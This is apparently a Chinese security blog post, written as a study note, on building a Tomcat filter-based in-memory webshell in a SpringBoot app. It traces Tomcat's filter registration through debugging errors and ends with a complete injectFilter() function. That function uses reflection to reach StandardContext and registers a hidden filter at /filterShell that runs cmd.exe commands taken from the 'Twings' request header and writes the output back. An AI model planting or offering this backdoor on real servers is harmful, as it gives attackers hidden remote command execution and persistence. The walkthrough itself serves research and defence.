前言
老技术,进行一波学习。
环境搭建
随便搞个SpringBoot环境,里面集成了tomcat。
FilterChain生成
以前读tomcat代码的时候能看到调用的FilterChain由ApplicationFilterFactory类生成,首先从context中取出filtermaps:
1
| FilterMap[] filterMaps = context.findFilterMaps();
|
其来自context里的filterMaps属性:
1 2 3
| public FilterMap[] findFilterMaps() { return this.filterMaps.asArray(); }
|
可以使用其addFilterMap函数进行添加:
1 2 3 4 5
| public void addFilterMap(FilterMap filterMap) { this.validateFilterMap(filterMap); this.filterMaps.add(filterMap); this.fireContainerEvent("addFilterMap", filterMap); }
|
其参数为FilterMap对象,这个对象可以通过无参构造函数生成。为了注入我们的filter,我们首先要找到该context:

在Thread.currentThread()里面可以找到这个context:

它在TomcatEmbeddedWebappClassLoader类的resources属性中:
1
| protected WebResourceRoot resources = null;
|
但它是个protected属性,如果通过反射来获取就太麻烦了,然而问题是该9.0.65版本版本的tomcat里面用于获取resources属性的getResources函数已经用不了了:
1 2 3 4
| @Deprecated public WebResourceRoot getResources() { return null; }
|
没办法,还是只能反射了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ClassLoader cl = Thread.currentThread().getContextClassLoader(); StandardRoot resources = null; try { Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); f.setAccessible(true); resources = (StandardRoot)f.get(cl); }catch (Exception e) { } if (resources == null) { return; } StandardContext context = (StandardContext)resources.getContext(); FilterMap filterMap = new FilterMap(); context.addFilterMap(filterMap);
|
报错:
1
| java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [null]
|
添加上filterName再试试:
1
| filterMap.setFilterName("filterShell");
|
还是报错:
1
| java.lang.IllegalArgumentException: Filter mapping specifies an unknown filter name [filterShell]
|
看看报错点:
1 2 3 4 5 6 7
| String filterName = filterMap.getFilterName(); String[] servletNames = filterMap.getServletNames(); String[] urlPatterns = filterMap.getURLPatterns(); if (findFilterDef(filterName) == null) { throw new IllegalArgumentException (sm.getString("standardContext.filterMap.name", filterName)); }
|
看起来还要先添加filterDef,看看findFilterDef函数怎么写的:
1 2 3 4 5 6
| @Override public FilterDef findFilterDef(String filterName) { synchronized (filterDefs) { return filterDefs.get(filterName); } }
|
键值从filterDef的filterName里来:
1 2 3 4 5 6 7 8 9
| @Override public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) { filterDefs.put(filterDef.getFilterName(), filterDef); } fireContainerEvent("addFilterDef", filterDef);
}
|
再改改代码:
1
| filterDef.setFilterName("filterShell");
|
报错:
1
| java.lang.IllegalArgumentException: Filter mapping must specify either a <url-pattern> or a <servlet-name>
|
filterMap还需要设置url-pattern:
1
| filterMap.addURLPattern("/filterShell");
|
访问一下这个路由,发现404报错,再调试一下,发现问题出在这一句:
1 2
| ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context.findFilterConfig(filterMap.getFilterName());
|
跟进findFilterConfig函数可以发现是没有添加filterConfig:
1 2 3
| public FilterConfig findFilterConfig(String name) { return filterConfigs.get(name); }
|
看看context中的代码,只有一句添加filterConfig的代码在filterStart函数里:
1 2 3 4 5 6 7
| String name = entry.getKey(); ... try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); filterConfigs.put(name, filterConfig); }
|
发现ApplicationFilterConfig的构造函数报错,跟踪一下:
1 2 3 4 5 6 7
| if (filterDef.getFilter() == null) { getFilter(); } else { this.filter = filterDef.getFilter(); context.getInstanceManager().newInstance(filter); initFilter(); }
|
发现原因是filterDef里面没有设置对应的Filter对象,那就新建一个Filter对象:
1 2 3 4 5 6
| class ShellFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException { java.lang.Runtime.getRuntime().exec("calc.exe"); } }
|
再通过setFilter添加到filterDef里面,访问/添加filter shell后再访问/filterShell,成功执行命令。
2022.9.8更新
忘了这个filter shell还不完整,还没有输入输出功能。
调试一下doFilter函数,看看这里的request和response是什么对象:

一个RequestFacade对象里面放着我们要找的Request对象,可以通过其getHeader函数获取我们想要的Header:
1 2 3 4 5 6 7 8 9 10
| @Override public String getHeader(String name) {
if (request == null) { throw new IllegalStateException( sm.getString("requestFacade.nullRequest")); }
return request.getHeader(name); }
|
同样的,Response里面也可以通过getWriter得到输出打印器:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| @Override public PrintWriter getWriter() throws IOException {
PrintWriter writer = response.getWriter(); if (isFinished()) { response.setSuspended(true); } return writer;
}
|
最后,贴一下完整的的注入函数代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public void injectFilter() { class ShellFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) { try { String[] cmd = new String[]{"cmd.exe", "/c", ((RequestFacade)request).getHeader("Twings")}; byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes(); response.getWriter().write(new String(result)); } catch (Exception e) { } } }
ClassLoader cl = Thread.currentThread().getContextClassLoader(); StandardRoot resources = null; try { Field f = cl.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); f.setAccessible(true); resources = (StandardRoot)f.get(cl); }catch (Exception e) { } if (resources == null) { return; } StandardContext context = (StandardContext)resources.getContext(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(new ShellFilter()); filterDef.setFilterName("filterShell"); context.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.setFilterName("filterShell"); filterMap.addURLPattern("/filterShell"); context.addFilterMap(filterMap); context.filterStart(); }
|
运行结果:

参考
https://xz.aliyun.com/t/9755
https://xz.aliyun.com/t/10196